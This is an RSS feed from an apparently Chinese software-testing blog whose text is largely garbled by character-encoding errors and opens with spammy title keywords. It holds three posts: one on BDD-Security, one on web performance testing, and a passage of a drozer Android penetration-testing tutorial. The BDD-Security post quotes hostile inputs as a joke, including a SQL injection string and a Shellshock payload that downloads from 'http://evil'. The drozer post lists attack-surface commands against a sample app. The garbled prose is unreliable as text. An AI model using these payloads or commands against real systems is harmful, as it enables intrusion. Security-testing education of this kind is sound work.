ï»??xml version="1.0" encoding="utf-8" standalone="yes"?>国产精品日本,日韩精品久久久久久久电影99爱 ,韩国精品美女www爽爽爽视频http://www.aygfsteel.com/qileilove/blog已经转移至github,大家误‚®¿é—?http://qaseven.github.io/zh-cnMon, 14 Jul 2025 09:23:54 GMTMon, 14 Jul 2025 09:23:54 GMT60在开发流½E‹ä¸­åµŒå…¥å®‰å…¨‹¹‹è¯•http://www.aygfsteel.com/qileilove/archive/2015/03/18/423599.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOWed, 18 Mar 2015 14:10:00 GMThttp://www.aygfsteel.com/qileilove/archive/2015/03/18/423599.htmlhttp://www.aygfsteel.com/qileilove/comments/423599.htmlhttp://www.aygfsteel.com/qileilove/archive/2015/03/18/423599.html#Feedback0http://www.aygfsteel.com/qileilove/comments/commentRss/423599.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/423599.html ContinuumSecurity创始人Stephen de VriesåQŒåœ¨Velocity Europe 2014大会上提å‡ÞZº†æŒç®‹ä¸”可视化çš?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">安全‹¹‹è¯•的观炏V€‚Stephen表示åQŒé‚£äº›åœ¨æ•æ·å¼€å‘过½E‹ä¸­ç”¨äºŽž®†QA嵌入整个开发流½E‹çš„æ–ÒŽ³•和工具都能同æ ïLš„用于安全‹¹‹è¯•。BDD-Security是一个基于JBehaveåQŒä¸”遵åó@Given-When-Thenæ–ÒŽ³•的安全测试框架ã€?/div>
  传统的安全测试都遵åó@瀑布‹¹ç¨‹åQŒä¹Ÿž®±æ˜¯è¯´å®‰å…¨å›¢é˜Ÿæ€ÀL˜¯åœ¨å¼€å‘阶ŒD늚„末期才参与进来,òq¶ä¸”通常需要外部专家的帮助。在整个开发流½E‹ä¸­åQŒæ¸—透测试æ€ÀL˜¯è¢«å®‰æŽ’到很晚才做åQŒä‹Éå¾—äØ“åº”ç”¨åšå®‰å…¨é˜²èŒƒçš„ä»ÕdŠ¡ž®¤å…¶å›°éš¾ä¸”复杂。Stephenè®¤äØ“å®‰å…¨‹¹‹è¯•完全可以变得像QAä¸€æ øP¼šæ¯ä¸ªäººéƒ½å¯¹å®‰å…¨é—®é¢˜è´Ÿè´£ï¼›å®‰å…¨é—®é¢˜å¯ä»¥åœ¨æ›´æŽ¥è¿‘代码的层面考虑åQ›å®‰å…¨æµ‹è¯•完全可以嵌入一个持¾l­é›†æˆçš„开发过½E‹ä¸­ã€?/div>
  ä¸ÞZº†è®ø™¯QA和安全测试只有量的区别而没有质的区别,Stephen展示了C. Maartmann-Moeå’ŒBill Sempf分别发布的推特:
  从QA的角度:
  QA工程师走˜q›ä¸€å®‰™…’吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥èœß_¼›ç‚¹äº†-1杯啤酒;点了一个sfdeljknesvã€?/div>
  从安全的角度åQ?/div>
  渗透测试工½E‹å¸ˆèµ°è¿›ä¸€å®‰™…’吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -O /beers http://evil; /杯啤酒。  要将安全‹¹‹è¯•集成˜q›æ•æ·å¼€å‘流½E‹ä¸­åQŒé¦–先需要满­‘³çš„æ¡äšg是:可见性,以便采取及时应对措施òq¶ä¿®è¡¥ï¼›å¯æµ‹è¯•性,以便于自动化åQŒæ¯”ä»…ä»…½Ž€å•的扫描更有价倹{€‚Stephen发现BDD工具族就同时满èƒö了可见性及可测试性,因此他开始着手构建BDD-Security安全‹¹‹è¯•框架ã€?/div>
  ç”׃ºŽBDD-Security是基于JBehave构徏的,因此它ä‹É用BDD的标准说明语­a€Gherkin。一个BDD-Security‹¹‹è¯•场景如下åQ?/div>
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用户故事的编写与通常做法不太一栗÷€‚BDD-Security说明™åµé¢ä¸Šå†™ç€åQ?/div>
ã€€ã€€æœ¬æ¡†æž¶çš„æž¶æž„è®¾è®¡ä½¿å¾—å®‰å…¨ç”¨ä¾‹æ•…äº‹ä¸Žåº”ç”¨çš„ç‰¹å®šå¯ÆDˆªé€»è¾‘ç›æ€º’独立åQŒè¿™æ„å‘³ç€åŒä¸€ä¸ªç”¨æˆäh•…事仅需要做微小的改动就能用在多个应用中åQŒæœ‰æ—¶ç”šè‡Ïx— éœ€ä¿®æ”¹ã€?/div>
  ˜q™ä¹Ÿè¯´æ˜ŽBDD-Securityæ¡†æž¶è®¤äØ“å¯¹è®¸å¤šåº”ç”¨æ¥è¯ß_¼Œæœ‰ä¸€¾pÕdˆ—安全需求都是普遍要满èƒö的。也ž®±æ˜¯è¯´ä½ åªéœ€å†™ä»£ç æŠŠå·²æœ‰çš„æ•…事插入你的应ç”?#8212;—也就是导航逻辑中即可。当ç„Óž¼Œå¿…要的时候你也完全可以编写自å·Þqš„用户故事ã€?/div>
  BDD-Security依赖于第三方安全‹¹‹è¯•工具来执行具体的安全相关的行为,例如应用扫描。这些工å…ähœ‰OWASP ZAP或Nessus½{‰ã€?/div>
  Stephen˜q˜æåˆ°å…¶å®ƒä¸€äº›æœ‰¾cÖM¼¼åŠŸèƒ½çš„å·¥å…—÷€‚如Zap-WebDriverž®±æ˜¯ä¸€‹Æ¾æ›´½Ž€å•的工具åQŒä¸å–œæ¬¢BDD方式的äh可以考虑采用它。Gauntlt与BDD-Security框架¾cÖM¼¼åQŒåŒæ äh”¯æŒBDDåQŒåªæ˜¯å®ƒä½¿ç”¨çš„ç¼–½E‹è¯­­a€æ˜?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Ruby。Mittnç”?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Python¾~–写òq¶ä¸”同样也ä‹É用Gherkinã€?/div>

]]>如何˜q›è¡ŒWeb服务的性能‹¹‹è¯•åQ?/title><link>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423598.html</link><dc:creator>™åºå…¶è‡ªç„¶EVO</dc:creator><author>™åºå…¶è‡ªç„¶EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.aygfsteel.com/qileilove/comments/423598.html</wfw:comment><comments>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  随着‹¹è§ˆå™¨åŠŸèƒ½çš„ä¸æ–­å®Œå–„åQŒç”¨æˆ·é‡ä¸æ–­çš„æ”€å‡ï¼Œæ¶‰åŠåˆ?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>服务的功能在不断的增加,对于我们<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">‹¹‹è¯•</strong></u></a>来说åQŒæˆ‘们不仅要保证服务端功能的正确性,也要验证服务端程序的性能是否½W¦åˆè¦æ±‚。那ä¹?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能‹¹‹è¯•</strong></u></a>都要做些什么呢åQŸæˆ‘们该怎样˜q›è¡Œæ€§èƒ½‹¹‹è¯•呢?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">性能‹¹‹è¯•一般会围绕以下˜q™äº›é—®é¢˜è€Œè¿›è¡Œï¼š</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  1. 什么情况下需要做性能‹¹‹è¯•åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  2. 什么时候做性能‹¹‹è¯•åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  3. 做性能‹¹‹è¯•需要准备哪些内容?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  4. 什么样的性能指标是符合要求的åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  5. 性能‹¹‹è¯•需要收集的数据有哪些?</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  6. 怎样攉™›†˜q™äº›æ•°æ®åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  7. 如何分析攉™›†åˆ°çš„æ•°æ®åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  8. 如何¾l™å‡ºæ€§èƒ½‹¹‹è¯•报告åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 性能‹¹‹è¯•的执行过½E‹åŠè¦åšçš„事儿主要包含以下内容:</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  1. ‹¹‹è¯•评估阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  在这个阶ŒDµï¼Œæˆ‘们要评估被‹¹‹çš„产品是否要进行性能‹¹‹è¯•åQŒåƈ且对目前的服务器环境˜q›è¡Œ¾_—ä¼°åQŒæœåŠ¡çš„æ€§èƒ½æ˜¯å¦æ»¡èƒö条äšgã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  首先要明¼‹®åªè¦æ¶‰åŠåˆ°å‡†å¤‡ä¸Šçº¿çš„æœåŠ¡ç«¯äº§å“åQŒå°±éœ€è¦è¿›è¡Œæ€§èƒ½‹¹‹è¯•。其‹Æ¡å¦‚æžœäñ”品需求中明确提到了性能指标åQŒé‚£ä¹Ÿå¿…™å»è¦åšæ€§èƒ½‹¹‹è¯•ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  ‹¹‹è¯•人员在进行性能‹¹‹è¯•前,需要根据当前的攉™›†åˆ°çš„各种信息åQŒé¢„先做性能的评伎ͼŒæ”‰™›†çš„å†…å®¹ä¸»è¦åŒ…æ‹¬å¸¦å®½ã€è¯·æ±‚åŒ…å¤§å°ã€åÆˆå‘ç”¨æˆäh•°å’Œå½“前web服务的带宽等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  2. ‹¹‹è¯•准备阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  在这个阶ŒDµï¼Œæˆ‘们要了解以下内容:</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  a. 服务器的架构是什么样的,例如åQšweb服务器是什么?是如何配¾|®çš„åQ?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据åº?/strong></u></a>用的是什么?服务用的是什么语­a€¾~–写的?åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  b. 服务端功能的内部逻辑实现åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  c. 服务端与数据库是如何交互的,例如åQšæ•°æ®åº“çš„è¡¨¾l“构是什么样的?服务端功能是怎样操作数据库的åQ?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  d. 服务端与客户端之间是如何˜q›è¡Œäº¤äº’的,åÏxŽ¥å£å®šä¹‰ï¼›</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  通过攉™›†ä»¥ä¸Šä¿¡æ¯åQŒæµ‹è¯•äh员整理出服务器端各模块之间的交互图,客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流½E‹å›¾ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  e. 该服务上¾U¿åŽçš„用户量预估是多ž®‘,如果无法评估出用户量åQŒé‚£ä¹ˆå¯ä»¥é€šè¿‡è®¾è®¡‹¹‹è¯•æ‰§è¡Œçš„åœºæ™¯å¾—å‡ø™¿™ä¸ªå€û|¼›</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  f. 上线要部¾|²åˆ°å¤šå°‘台机器上åQŒæ¯å°æœºå™¨çš„负蝲均衡是如何设计的åQŒæ¯å°æœºå™¨çš„配置什么样的,¾|‘络环境是什么样的ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  g. 了解‹¹‹è¯•环境与线上环境的不同åQŒä¾‹å¦‚网¾lœçŽ¯å¢ƒã€ç¡¬ä»‰™…¾|®ç­‰</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  h. 制定‹¹‹è¯•执行的策略,是需要验证需求中的指标能否达刎ͼŒ˜q˜æ˜¯è¯„ä¼°¾pȝ»Ÿçš„æœ€å¤§å¤„理能力ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  i. 沟通上¾U¿çš„æŒ‡æ ‡</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  通过攉™›†ä»¥ä¸Šä¿¡æ¯åQŒç¡®å®šæ€§èƒ½<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">‹¹‹è¯•用例</strong></u></a>该如何设计,如何设计性能‹¹‹è¯•用例执行的场景,以及上线指标的评估ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  3. ‹¹‹è¯•设计阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  æ ÒŽ®‹¹‹è¯•人员通过之前整理的交互图和流½E‹å›¾åQŒè®¾è®¡ç›¸åº”的性能‹¹‹è¯•用例。性能‹¹‹è¯•ç”¨ä¾‹ä¸»è¦åˆ†äØ“é¢„æœŸç›®æ ‡ç”¨æˆ·‹¹‹è¯•åQŒç”¨æˆ·åƈ发测试,疲劳强度与大数量‹¹‹è¯•åQŒç½‘¾lœæ€§èƒ½‹¹‹è¯•åQŒæœåŠ¡å™¨æ€§èƒ½‹¹‹è¯•åQŒå…·ä½“编写的‹¹‹è¯•用例要更具实际情况进行裁减ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  用例¾~–写的步骤大致分为:</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  a. 通过脚本模拟单一用户是如何ä‹É用这个web服务的。这里模拟的可以是用户ä‹É用web服务的某一个动作或某几个动作,某一个功能或几个功能åQŒä¹Ÿå¯ä»¥æ˜¯ä‹É用web服务的整个过½E‹ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  b. æ ÒŽ®å®¢æˆ·ç«¯çš„实际情况和服务器端的½{–ç•¥åQŒé€šè¿‡ž®†è„šæœ¬ä¸­å¯å˜çš„æ•°æ®è¿›è¡Œå‚æ•°åŒ–åQŒæ¥æ¨¡æ‹Ÿå¤šä¸ªç”¨æˆ·çš„æ“ä½œã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  c. 验证参数化后脚本功能的正¼‹®æ€§ã€?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  d. æ·ÕdŠ ‹‚€æŸ¥ç‚¹</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  e. 设计脚本执行的策略,如每个功能的执行‹Æ¡æ•°åQŒå„个功能的执行™åºåº½{?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">  4. ‹¹‹è¯•执行阶段<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  æ ÒŽ®å®¢æˆ·ç«¯çš„äº§å“è¡ŒäØ“è®¾è®¡web服务的测试执行场景及‹¹‹è¯•执行的过½E‹ï¼ŒåÏxµ‹è¯•执行期间发生的事儿。通过监控½E‹åºæ”‰™›†web服务的性能数据和web服务所在系¾lŸçš„æ€§èƒ½æ•°æ®ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  在测试执行过½E‹ä¸­åQŒè¿˜è¦ä¸æ–­çš„å…Ïx³¨ä»¥ä¸‹å†…容åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a. web服务的连接速度如何åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b. 每秒的点å‡ÀL•°å¦‚何åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  c. Web服务能允许多ž®‘个用户同时在线åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  d. 如果­‘…过了这个数量,会出çŽîC»€ä¹ˆçŽ°è±¡ï¼Ÿ</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  e. Web服务能否处理大量用户对同一个页面的è¯äh±‚åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  f. 如果web服务崩溃åQŒæ˜¯å¦ä¼šè‡ªåŠ¨æ¢å¤åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  g. ¾pȝ»Ÿèƒ½å¦åŒä¸€æ—‰™—´å“åº”大量用户的请求?</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  h. 打压机的¾pȝ»Ÿè´Ÿè²çŠ¶æ€ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  5. ‹¹‹è¯•分析阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ž®†æ”¶é›†åˆ°çš„æ•°æ®åˆ¶æˆå›¾è¡¨ï¼ŒæŸ¥çœ‹å„指标的性能变化曲线åQŒç»“合之前确定的上线指标åQŒå¯¹å„项数据˜q›è¡Œåˆ†æžåQŒå·²¼‹®å®šæ˜¯å¦¾l§ç®‹å¯¹web服务˜q›è¡Œ‹¹‹è¯•åQŒç»“果是否达åˆîCº†æœŸæœ›å€¹{€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  6. ‹¹‹è¯•验证阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  在开发针对发现的性能问题˜q›è¡Œä¿®å¤åŽï¼Œè¦å†æ‰§è¡Œæ€§èƒ½‹¹‹è¯•的用例对问题˜q›è¡ŒéªŒè¯ã€‚这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能,所以在验证性能的同æ—Óž¼Œä¹Ÿè¦å…Ïx³¨åŽŸæœ‰åŠŸèƒ½æ˜¯å¦å—åˆ°äº†åª„å“?/div></div><div class="wmqeeuq" id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.aygfsteel.com/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/qileilove/" target="_blank">™åºå…¶è‡ªç„¶EVO</a> 2015-03-18 22:08 <a href="http://www.aygfsteel.com/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用drozer˜q›è¡ŒAndroid渗透测è¯?/title><link>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423597.html</link><dc:creator>™åºå…¶è‡ªç„¶EVO</dc:creator><author>™åºå…¶è‡ªç„¶EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.aygfsteel.com/qileilove/comments/423597.html</wfw:comment><comments>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;">一、安装与启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">1. 安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ½W¬ä¸€æ­¥ï¼šä»Žhttp://mwr.to/drozer下蝲Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a> Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ½W¬äºŒæ­¥ï¼šåœ?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>讑֤‡ä¸­å®‰è£…agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">2. 启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ½W¬ä¸€æ­¥ï¼šåœ¨PC上ä‹É用adb˜q›è¡Œç«¯å£è½¬å‘åQŒè{发到Drozer使用的端å?1415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ½W¬äºŒæ­¥ï¼šåœ¨Android讑֤‡ä¸Šå¼€å¯Drozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  选择embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ½W¬ä¸‰æ­¥ï¼šåœ¨PC上开启Drozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 二ã€?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">‹¹‹è¯•</strong></u></a>步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 1.获取包名</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  dz> run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 2.获取应用的基本信æ?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 3.¼‹®å®šæ”Õd‡»é?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰èŽ·å–activity信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰å¯åЍactivity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  dz> help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  [--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"> <strong style="word-break: break-all; line-height: normal !important;"> 5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰èŽ·å–Content Provider信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: 